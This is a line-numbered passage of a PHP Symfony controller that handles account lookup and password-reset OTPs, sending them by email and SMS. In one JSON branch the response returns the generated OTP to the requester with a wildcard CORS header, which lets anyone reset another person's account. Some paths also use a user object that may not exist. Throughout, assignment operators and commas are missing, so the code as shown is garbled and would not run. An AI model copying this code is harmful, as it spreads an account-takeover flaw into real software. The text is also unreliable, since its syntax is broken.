  8416.                         if ($email_address == null || $email_address == '')
  8417.                             $email_address $userObj->getOAuthEmail();
  8418.                     }
  8419. //                    triggerResetPassword:
  8420. //                    type: integer
  8421. //                          nullable: true
  8422.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8423.                     $otp $otpData['otp'];
  8424.                     $otpExpireTs $otpData['expireTs'];
  8425.                     $userObj->setOtp($otpData['otp']);
  8426.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_CONFIRM_EMAIL);
  8427.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8428.                     $em_goc->flush();
  8429.                     $userData = array(
  8430.                         'id' => $userObj->getApplicantId(),
  8431.                         'email' => $email_address,
  8432.                         'appId' => 0,
  8433. //                        'appId'=>$userObj->getUserAppId(),
  8434.                     );
  8435.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8436.                     $email_twig_data = [
  8437.                         'page_title' => 'Find Account',
  8438.                         'encryptedData' => $encryptedData,
  8439.                         'message' => $message,
  8440.                         'userType' => $userType,
  8441.                         'errorField' => $errorField,
  8442.                         'otp' => $otpData['otp'],
  8443.                         'otpExpireSecond' => $otpExpireSecond,
  8444.                         'otpActionId' => UserConstants::OTP_ACTION_CONFIRM_EMAIL,
  8445.                         'otpExpireTs' => $otpData['expireTs'],
  8446.                         'systemType' => $systemType,
  8447.                         'userData' => $userData
  8448.                     ];
  8449.                     if ($userObj)
  8450.                         $email_twig_data['success'] = true;
  8451.                 } else {
  8452.                     $userType UserConstants::USER_TYPE_GENERAL;
  8453.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8454.                     $email_twig_data = [
  8455.                         'page_title' => 'Find Account',
  8456.                         'encryptedData' => $encryptedData,
  8457.                         'message' => $message,
  8458.                         'userType' => $userType,
  8459.                         'errorField' => $errorField,
  8460.                     ];
  8461.                 }
  8462.             } else if ($systemType == '_CENTRAL_') {
  8463.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8464.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8465.                     array(
  8466.                         'email' => $email_address
  8467.                     )
  8468.                 );
  8469.                 if ($userObj) {
  8470.                 } else {
  8471.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8472.                         array(
  8473.                             'oAuthEmail' => $email_address
  8474.                         )
  8475.                     );
  8476.                     if ($userObj) {
  8477.                     } else {
  8478.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8479.                             array(
  8480.                                 'username' => $email_address
  8481.                             )
  8482.                         );
  8483.                     }
  8484.                 }
  8485.                 if ($userObj) {
  8486.                     $email_address $userObj->getEmail();
  8487.                     if ($email_address == null || $email_address == '')
  8488.                         $email_address $userObj->getOAuthEmail();
  8489.                     //                    triggerResetPassword:
  8490. //                    type: integer
  8491. //                          nullable: true
  8492.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8493.                     $otp $otpData['otp'];
  8494.                     $otpExpireTs $otpData['expireTs'];
  8495.                     $userObj->setOtp($otpData['otp']);
  8496.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_CONFIRM_EMAIL);
  8497.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8498.                     $em_goc->flush();
  8499.                     $userData = array(
  8500.                         'id' => $userObj->getApplicantId(),
  8501.                         'email' => $email_address,
  8502.                         'appId' => 0,
  8503.                         'image' => $userObj->getImage(),
  8504.                         'firstName' => $userObj->getFirstname(),
  8505.                         'lastName' => $userObj->getLastname(),
  8506.                         'phone' => $userObj->getPhone(),
  8507. //                        'appId'=>$userObj->getUserAppId(),
  8508.                     );
  8509.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8510.                     $email_twig_data = [
  8511.                         'page_title' => 'Find Account',
  8512.                         'encryptedData' => $encryptedData,
  8513.                         'message' => $message,
  8514.                         'userType' => $userType,
  8515.                         'errorField' => $errorField,
  8516.                         'otp' => $otpData['otp'],
  8517.                         'otpExpireSecond' => $otpExpireSecond,
  8518.                         'otpActionId' => UserConstants::OTP_ACTION_CONFIRM_EMAIL,
  8519.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_CONFIRM_EMAIL]['actionTitle'],
  8520.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_CONFIRM_EMAIL]['actionDescForMail'],
  8521.                         'otpExpireTs' => $otpData['expireTs'],
  8522.                         'systemType' => $systemType,
  8523.                         'userCategory' => $userCategory,
  8524.                         'userData' => $userData
  8525.                     ];
  8526.                     $email_twig_data['success'] = true;
  8527.                 } else {
  8528.                     $message "Oops! Could not find your account";
  8529.                     $email_twig_data['success'] = false;
  8530.                 }
  8531.             } else if ($systemType == '_BUDDYBEE_') {
  8532.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8533.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8534.                     array(
  8535.                         'email' => $email_address
  8536.                     )
  8537.                 );
  8538.                 if ($userObj) {
  8539.                 } else {
  8540.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8541.                         array(
  8542.                             'oAuthEmail' => $email_address
  8543.                         )
  8544.                     );
  8545.                     if ($userObj) {
  8546.                     } else {
  8547.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8548.                             array(
  8549.                                 'username' => $email_address
  8550.                             )
  8551.                         );
  8552.                     }
  8553.                 }
  8554.                 if ($userObj) {
  8555.                     $email_address $userObj->getEmail();
  8556.                     if ($email_address == null || $email_address == '')
  8557.                         $email_address $userObj->getOAuthEmail();
  8558.                     //                    triggerResetPassword:
  8559. //                    type: integer
  8560. //                          nullable: true
  8561.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8562.                     $otp $otpData['otp'];
  8563.                     $otpExpireTs $otpData['expireTs'];
  8564.                     $userObj->setOtp($otpData['otp']);
  8565.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8566.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8567.                     $em_goc->flush();
  8568.                     $userData = array(
  8569.                         'id' => $userObj->getApplicantId(),
  8570.                         'email' => $email_address,
  8571.                         'appId' => 0,
  8572.                         'image' => $userObj->getImage(),
  8573.                         'firstName' => $userObj->getFirstname(),
  8574.                         'lastName' => $userObj->getLastname(),
  8575.                         'phone' => $userObj->getPhone(),
  8576. //                        'appId'=>$userObj->getUserAppId(),
  8577.                     );
  8578.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8579.                     $email_twig_data = [
  8580.                         'page_title' => 'Find Account',
  8581.                         'encryptedData' => $encryptedData,
  8582.                         'message' => $message,
  8583.                         'userType' => $userType,
  8584.                         'errorField' => $errorField,
  8585.                         'otp' => $otpData['otp'],
  8586.                         'otpExpireSecond' => $otpExpireSecond,
  8587.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8588.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8589.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8590.                         'otpExpireTs' => $otpData['expireTs'],
  8591.                         'systemType' => $systemType,
  8592.                         'userCategory' => $userCategory,
  8593.                         'userData' => $userData
  8594.                     ];
  8595.                     $email_twig_data['success'] = true;
  8596.                 } else {
  8597.                     $message "Oops! Could not find your account";
  8598.                     $email_twig_data['success'] = false;
  8599.                 }
  8600.             }
  8601.             if ($email_twig_data['success'] == true && GeneralConstant::EMAIL_ENABLED == 1) {
  8602.                 if ($systemType == '_BUDDYBEE_') {
  8603.                     $bodyHtml '';
  8604.                     $bodyTemplate $email_twig_file;
  8605.                     $bodyData $email_twig_data;
  8606.                     $attachments = [];
  8607.                     $forwardToMailAddress $email_address;
  8608. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8609.                     $new_mail $this->get('mail_module');
  8610.                     $new_mail->sendMyMail(array(
  8611.                         'senderHash' => '_CUSTOM_',
  8612.                         //                        'senderHash'=>'_CUSTOM_',
  8613.                         'forwardToMailAddress' => $forwardToMailAddress,
  8614.                         'subject' => 'Account Verification',
  8615. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8616.                         'attachments' => $attachments,
  8617.                         'toAddress' => $forwardToMailAddress,
  8618.                         'fromAddress' => \ApplicationBundle\Helper\MailerConfig::address(),
  8619.                         'userName' => \ApplicationBundle\Helper\MailerConfig::address(),
  8620.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  8621.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  8622.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  8623. //                            'emailBody' => $bodyHtml,
  8624.                         'mailTemplate' => $bodyTemplate,
  8625.                         'templateData' => $bodyData,
  8626. //                        'embedCompanyImage' => 1,
  8627. //                        'companyId' => $companyId,
  8628. //                        'companyImagePath' => $company_data->getImage()
  8629.                     ));
  8630.                 } else if ($systemType == '_CENTRAL_') {
  8631.                     $bodyHtml '';
  8632.                     $bodyTemplate $email_twig_file;
  8633.                     $bodyData $email_twig_data;
  8634.                     $attachments = [];
  8635.                     $forwardToMailAddress $email_address;
  8636. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8637.                     $new_mail $this->get('mail_module');
  8638.                     $new_mail->sendMyMail(array(
  8639.                         'senderHash' => '_CUSTOM_',
  8640.                         //                        'senderHash'=>'_CUSTOM_',
  8641.                         'forwardToMailAddress' => $forwardToMailAddress,
  8642.                         'subject' => 'Account Verification',
  8643. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8644.                         'attachments' => $attachments,
  8645.                         'toAddress' => $forwardToMailAddress,
  8646.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8647.                         'userName' => 'accounts@ourhoneybee.eu',
  8648.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  8649.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  8650.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  8651. //                            'emailBody' => $bodyHtml,
  8652.                         'mailTemplate' => $bodyTemplate,
  8653.                         'templateData' => $bodyData,
  8654. //                        'embedCompanyImage' => 1,
  8655. //                        'companyId' => $companyId,
  8656. //                        'companyImagePath' => $company_data->getImage()
  8657.                     ));
  8658.                 } else {
  8659.                     $bodyHtml '';
  8660.                     $bodyTemplate $email_twig_file;
  8661.                     $bodyData $email_twig_data;
  8662.                     $attachments = [];
  8663.                     $forwardToMailAddress $email_address;
  8664. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8665.                     $new_mail $this->get('mail_module');
  8666.                     $new_mail->sendMyMail(array(
  8667.                         'senderHash' => '_CUSTOM_',
  8668.                         //                        'senderHash'=>'_CUSTOM_',
  8669.                         'forwardToMailAddress' => $forwardToMailAddress,
  8670.                         'subject' => 'Applicant Registration on Honeybee',
  8671. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8672.                         'attachments' => $attachments,
  8673.                         'toAddress' => $forwardToMailAddress,
  8674.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8675.                         'userName' => 'accounts@ourhoneybee.eu',
  8676.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  8677.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  8678.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  8679.                         'emailBody' => $bodyHtml,
  8680.                         'mailTemplate' => $bodyTemplate,
  8681.                         'templateData' => $bodyData,
  8682. //                        'embedCompanyImage' => 1,
  8683. //                        'companyId' => $companyId,
  8684. //                        'companyImagePath' => $company_data->getImage()
  8685.                     ));
  8686.                 }
  8687.             }
  8688.             if ($email_twig_data['success'] == true && GeneralConstant::NOTIFICATION_ENABLED == && $userData['phone'] != '' && $userData['phone'] != null) {
  8689.                 if ($systemType == '_BUDDYBEE_') {
  8690.                     $searchVal = ['_OTP_''_EXPIRE_MINUTES_''_APPEND_CODE_'];
  8691.                     $replaceVal = [$otpfloor($otpExpireSecond 60), $appendCode];
  8692.                     $msg 'Use OTP _OTP_ for BuddyBee. Your OTP will expire in _EXPIRE_MINUTES_ minutes
  8693.                      _APPEND_CODE_';
  8694.                     $msg str_replace($searchVal$replaceVal$msg);
  8695.                     $emitMarker '_SEND_TEXT_TO_MOBILE_';
  8696.                     $sendType 'all';
  8697.                     $socketUserIds = [];
  8698.                     System::SendSmsBySocket($this->container->getParameter('notification_enabled'), $msg$userData['phone'], $emitMarker$sendType$socketUserIds);
  8699.                 } else {
  8700.                 }
  8701.             }
  8702.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8703.                 $response = new JsonResponse(array(
  8704.                         'templateData' => $twigData,
  8705.                         'message' => $message,
  8706. //                        "otp"=>'',
  8707.                         "otp" => $otp,
  8708.                         "otpExpireTs" => $otpExpireTs,
  8709.                         'actionData' => $email_twig_data,
  8710.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8711.                     )
  8712.                 );
  8713.                 $response->headers->set('Access-Control-Allow-Origin''*');
  8714.                 return $response;
  8715.             } else if ($email_twig_data['success'] == true) {
  8716.                 $encData = array(
  8717.                     "userType" => $userType,
  8718.                     "otp" => '',
  8719. //                "otp"=>$otp,
  8720.                     "otpExpireTs" => $otpExpireTs,
  8721.                     "otpActionId" => UserConstants::OTP_ACTION_CONFIRM_EMAIL,
  8722.                     "userCategory" => $userCategory,
  8723.                     "userId" => $userData['id'],
  8724.                     "systemType" => $systemType,
  8725.                     "email" => $email_address,
  8726.                 );
  8727.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  8728.                 $url $this->generateUrl(
  8729.                     'verify_otp'
  8730.                 );
  8731.                 return $this->redirect($url "/" $encDataStr);
  8732. //                return $this->redirectToRoute("verify_otp_forgot_password",[
  8733. ////                    'encData'
  8734. ////                'id' => $isApplicantExist->getApplicantId(),
  8735. ////                'oAuthData' => $oAuthData,
  8736. ////                'refRoute' => $refRoute,
  8737. //                ]);
  8738.             }
  8739.         }
  8740.         if ($systemType == '_ERP_') {
  8741.             if ($userCategory == '_APPLICANT_') {
  8742.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8743.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8744.                 $twigData = [
  8745.                     'page_title' => 'Find Account',
  8746.                     'encryptedData' => $encryptedData,
  8747.                     'message' => $message,
  8748.                     'systemType' => $systemType,
  8749.                     'ownServerId' => $ownServerId,
  8750.                     'userType' => $userType,
  8751.                     'errorField' => $errorField,
  8752.                 ];
  8753.             } else {
  8754.                 $userType UserConstants::USER_TYPE_GENERAL;
  8755.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8756.                 $twigData = [
  8757.                     'page_title' => 'Find Account',
  8758.                     'encryptedData' => $encryptedData,
  8759.                     'systemType' => $systemType,
  8760.                     'ownServerId' => $ownServerId,
  8761.                     'message' => $message,
  8762.                     'userType' => $userType,
  8763.                     'errorField' => $errorField,
  8764.                 ];
  8765.             }
  8766.         } else if ($systemType == '_SOPHIA_') {
  8767.             $userType UserConstants::USER_TYPE_APPLICANT;
  8768.             $twig_file '@Sophia/pages/views/sophia_verify_email.html.twig';
  8769.             $twigData = [
  8770.                 'page_title' => 'Find Account',
  8771.                 'encryptedData' => $encryptedData,
  8772.                 'systemType' => $systemType,
  8773.                 'ownServerId' => $ownServerId,
  8774.                 "otp" => '',
  8775. //                "otp"=>$otp,
  8776.                 "otpExpireTs" => $otpExpireTs,
  8777.                 'message' => $message,
  8778.                 'userType' => $userType,
  8779.                 'errorField' => $errorField,
  8780.             ];
  8781.         } else if ($systemType == '_CENTRAL_') {
  8782.             $userType UserConstants::USER_TYPE_APPLICANT;
  8783.             $twig_file '@HoneybeeWeb/pages/verify_email.html.twig';
  8784.             $twigData = [
  8785.                 'page_title' => 'Find Account',
  8786.                 'encryptedData' => $encryptedData,
  8787.                 'systemType' => $systemType,
  8788.                 'ownServerId' => $ownServerId,
  8789.                 "otp" => '',
  8790. //                "otp"=>$otp,
  8791.                 "otpExpireTs" => $otpExpireTs,
  8792.                 'message' => $message,
  8793.                 'userType' => $userType,
  8794.                 'errorField' => $errorField,
  8795.             ];
  8796.         } else if ($systemType == '_BUDDYBEE_') {
  8797.             $userType UserConstants::USER_TYPE_APPLICANT;
  8798.             $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8799.             $twigData = [
  8800.                 'page_title' => 'Find Account',
  8801.                 'encryptedData' => $encryptedData,
  8802.                 "otp" => '',
  8803.                 'systemType' => $systemType,
  8804.                 'ownServerId' => $ownServerId,
  8805. //                "otp"=>$otp,
  8806.                 "otpExpireTs" => $otpExpireTs,
  8807.                 'message' => $message,
  8808.                 'userType' => $userType,
  8809.                 'errorField' => $errorField,
  8810.             ];
  8811.         }
  8812.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8813.             $response = new JsonResponse(array(
  8814.                     'templateData' => $twigData,
  8815.                     'message' => $message,
  8816.                     "otp" => '',
  8817. //                "otp"=>$otp,
  8818.                     "otpExpireTs" => $otpExpireTs,
  8819.                     'actionData' => $email_twig_data,
  8820.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8821.                 )
  8822.             );
  8823.             $response->headers->set('Access-Control-Allow-Origin''*');
  8824.             return $response;
  8825.         } else {
  8826.             return $this->render(
  8827.                 $twig_file,
  8828.                 $twigData
  8829.             );
  8830.         }
  8831.     }
  8832.     public function FindAccountForAppAction(Request $request$encData ''$remoteVerify 0)
  8833.     {
  8834. //        $userCategory=$request->request->has('userCategory');
  8835.         $encryptedData = [];
  8836.         $errorField '';
  8837.         $message '';
  8838.         $userType '';
  8839.         $otpExpireSecond 180;
  8840.         $otpExpireTs 0;
  8841.         $otp '';
  8842.         if ($encData != '')
  8843.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  8844. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  8845.         $userCategory '_BUDDYBEE_USER_';
  8846.         if (isset($encryptedData['userCategory']))
  8847.             $userCategory $encryptedData['userCategory'];
  8848.         else
  8849.             $userCategory $request->request->get('userCategory''_BUDDYBEE_USER_');
  8850.         $em $this->getDoctrine()->getManager('company_group');
  8851.         $em_goc $this->getDoctrine()->getManager('company_group');
  8852.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  8853.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  8854.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8855.         $twigData = [];
  8856.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  8857.         $email_address $request->request->get('email''');
  8858.         $email_twig_data = [];
  8859.         $appendCode $request->request->get('appendCode'$request->query->get('appendCode'''));
  8860.         if ($request->isMethod('POST')) {
  8861.             //set an otp and its expire and send mail
  8862.             $email_address $request->request->get('email');
  8863.             $userObj null;
  8864.             $userData = [];
  8865.             if ($systemType == '_ERP_') {
  8866.                 if ($userCategory == '_APPLICANT_') {
  8867.                     $userType UserConstants::USER_TYPE_APPLICANT;
  8868.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8869.                         array(
  8870.                             'email' => $email_address
  8871.                         )
  8872.                     );
  8873.                     if ($userObj) {
  8874.                     } else {
  8875.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8876.                             array(
  8877.                                 'oAuthEmail' => $email_address
  8878.                             )
  8879.                         );
  8880.                         if ($userObj) {
  8881.                         } else {
  8882.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8883.                                 array(
  8884.                                     'username' => $email_address
  8885.                                 )
  8886.                             );
  8887.                         }
  8888.                     }
  8889.                     if ($userObj) {
  8890.                         $email_address $userObj->getEmail();
  8891.                         if ($email_address == null || $email_address == '')
  8892.                             $email_address $userObj->getOAuthEmail();
  8893.                     }
  8894. //                    triggerResetPassword:
  8895. //                    type: integer
  8896. //                          nullable: true
  8897.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8898.                     $otp $otpData['otp'];
  8899.                     $otpExpireTs $otpData['expireTs'];
  8900.                     $userObj->setOtp($otpData['otp']);
  8901.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8902.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8903.                     $em_goc->flush();
  8904.                     $userData = array(
  8905.                         'id' => $userObj->getApplicantId(),
  8906.                         'email' => $email_address,
  8907.                         'appId' => 0,
  8908. //                        'appId'=>$userObj->getUserAppId(),
  8909.                     );
  8910.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8911.                     $email_twig_data = [
  8912.                         'page_title' => 'Find Account',
  8913.                         'encryptedData' => $encryptedData,
  8914.                         'message' => $message,
  8915.                         'userType' => $userType,
  8916.                         'errorField' => $errorField,
  8917.                         'otp' => $otpData['otp'],
  8918.                         'otpExpireSecond' => $otpExpireSecond,
  8919.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8920.                         'otpExpireTs' => $otpData['expireTs'],
  8921.                         'systemType' => $systemType,
  8922.                         'userData' => $userData
  8923.                     ];
  8924.                     if ($userObj)
  8925.                         $email_twig_data['success'] = true;
  8926.                 } else {
  8927.                     $userType UserConstants::USER_TYPE_GENERAL;
  8928.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8929.                     $email_twig_data = [
  8930.                         'page_title' => 'Find Account',
  8931.                         'encryptedData' => $encryptedData,
  8932.                         'message' => $message,
  8933.                         'userType' => $userType,
  8934.                         'errorField' => $errorField,
  8935.                     ];
  8936.                 }
  8937.             } else if ($systemType == '_CENTRAL_') {
  8938.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8939.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8940.                     array(
  8941.                         'email' => $email_address
  8942.                     )
  8943.                 );
  8944.                 if ($userObj) {
  8945.                 } else {
  8946.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8947.                         array(
  8948.                             'oAuthEmail' => $email_address
  8949.                         )
  8950.                     );
  8951.                     if ($userObj) {
  8952.                     } else {
  8953.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8954.                             array(
  8955.                                 'username' => $email_address
  8956.                             )
  8957.                         );
  8958.                     }
  8959.                 }
  8960.                 if ($userObj) {
  8961.                     $email_address $userObj->getEmail();
  8962.                     if ($email_address == null || $email_address == '')
  8963.                         $email_address $userObj->getOAuthEmail();
  8964.                     //                    triggerResetPassword:
  8965. //                    type: integer
  8966. //                          nullable: true
  8967.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8968.                     $otp $otpData['otp'];
  8969.                     $otpExpireTs $otpData['expireTs'];
  8970.                     $userObj->setOtp($otpData['otp']);
  8971.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8972.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8973.                     $em_goc->flush();
  8974.                     $userData = array(
  8975.                         'id' => $userObj->getApplicantId(),
  8976.                         'email' => $email_address,
  8977.                         'appId' => 0,
  8978.                         'image' => $userObj->getImage(),
  8979.                         'firstName' => $userObj->getFirstname(),
  8980.                         'lastName' => $userObj->getLastname(),
  8981.                         'phone' => $userObj->getPhone(),
  8982. //                        'appId'=>$userObj->getUserAppId(),
  8983.                     );
  8984.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8985.                     $email_twig_data = [
  8986.                         'page_title' => 'Find Account',
  8987.                         'encryptedData' => $encryptedData,
  8988.                         'message' => $message,
  8989.                         'userType' => $userType,
  8990.                         'errorField' => $errorField,
  8991.                         'otp' => $otpData['otp'],
  8992.                         'otpExpireSecond' => $otpExpireSecond,
  8993.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8994.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8995.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8996.                         'otpExpireTs' => $otpData['expireTs'],
  8997.                         'systemType' => $systemType,
  8998.                         'userCategory' => $userCategory,
  8999.                         'userData' => $userData
  9000.                     ];
  9001.                     $email_twig_data['success'] = true;
  9002.                 } else {
  9003.                     $message "Oops! Could not find your account";
  9004.                     $email_twig_data['success'] = false;
  9005.                 }
  9006.             }
  9007.             if ($email_twig_data['success'] == true && GeneralConstant::EMAIL_ENABLED == 1) {
  9008.                 if ($systemType == '_CENTRAL_') {
  9009.                     $bodyHtml '';
  9010.                     $bodyTemplate $email_twig_file;
  9011.                     $bodyData $email_twig_data;
  9012.                     $attachments = [];
  9013.                     $forwardToMailAddress $email_address;
  9014. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  9015.                     $new_mail $this->get('mail_module');
  9016.                     $new_mail->sendMyMail(array(
  9017.                         'senderHash' => '_CUSTOM_',
  9018.                         //                        'senderHash'=>'_CUSTOM_',
  9019.                         'forwardToMailAddress' => $forwardToMailAddress,
  9020.                         'subject' => 'Account Verification',
  9021. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  9022.                         'attachments' => $attachments,
  9023.                         'toAddress' => $forwardToMailAddress,
  9024.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  9025.                         'userName' => 'accounts@ourhoneybee.eu',
  9026.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  9027.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  9028.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  9029. //                            'emailBody' => $bodyHtml,
  9030.                         'mailTemplate' => $bodyTemplate,
  9031.                         'templateData' => $bodyData,
  9032. //                        'embedCompanyImage' => 1,
  9033. //                        'companyId' => $companyId,
  9034. //                        'companyImagePath' => $company_data->getImage()
  9035.                     ));
  9036.                 } else {
  9037.                     $bodyHtml '';
  9038.                     $bodyTemplate $email_twig_file;
  9039.                     $bodyData $email_twig_data;
  9040.                     $attachments = [];
  9041.                     $forwardToMailAddress $email_address;
  9042. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  9043.                     $new_mail $this->get('mail_module');
  9044.                     $new_mail->sendMyMail(array(
  9045.                         'senderHash' => '_CUSTOM_',
  9046.                         //                        'senderHash'=>'_CUSTOM_',
  9047.                         'forwardToMailAddress' => $forwardToMailAddress,
  9048.                         'subject' => 'Applicant Registration on Honeybee',
  9049. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  9050.                         'attachments' => $attachments,
  9051.                         'toAddress' => $forwardToMailAddress,
  9052.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  9053.                         'userName' => 'accounts@ourhoneybee.eu',
  9054.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  9055.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  9056.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  9057.                         'emailBody' => $bodyHtml,
  9058.                         'mailTemplate' => $bodyTemplate,
  9059.                         'templateData' => $bodyData,
  9060. //                        'embedCompanyImage' => 1,
  9061. //                        'companyId' => $companyId,
  9062. //                        'companyImagePath' => $company_data->getImage()
  9063.                     ));
  9064.                 }
  9065.             }
  9066.             if ($email_twig_data['success'] == true && GeneralConstant::NOTIFICATION_ENABLED == && $userData['phone'] != '' && $userData['phone'] != null) {
  9067.                 if ($systemType == '_BUDDYBEE_') {
  9068.                     $searchVal = ['_OTP_''_EXPIRE_MINUTES_''_APPEND_CODE_'];
  9069.                     $replaceVal = [$otpfloor($otpExpireSecond 60), $appendCode];
  9070.                     $msg 'Use OTP _OTP_ for BuddyBee. Your OTP will expire in _EXPIRE_MINUTES_ minutes
  9071.                      _APPEND_CODE_';
  9072.                     $msg str_replace($searchVal$replaceVal$msg);
  9073.                     $emitMarker '_SEND_TEXT_TO_MOBILE_';
  9074.                     $sendType 'all';
  9075.                     $socketUserIds = [];
  9076.                     System::SendSmsBySocket($this->container->getParameter('notification_enabled'), $msg$userData['phone'], $emitMarker$sendType$socketUserIds);
  9077.                 } else {
  9078.                 }
  9079.             }
  9080.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
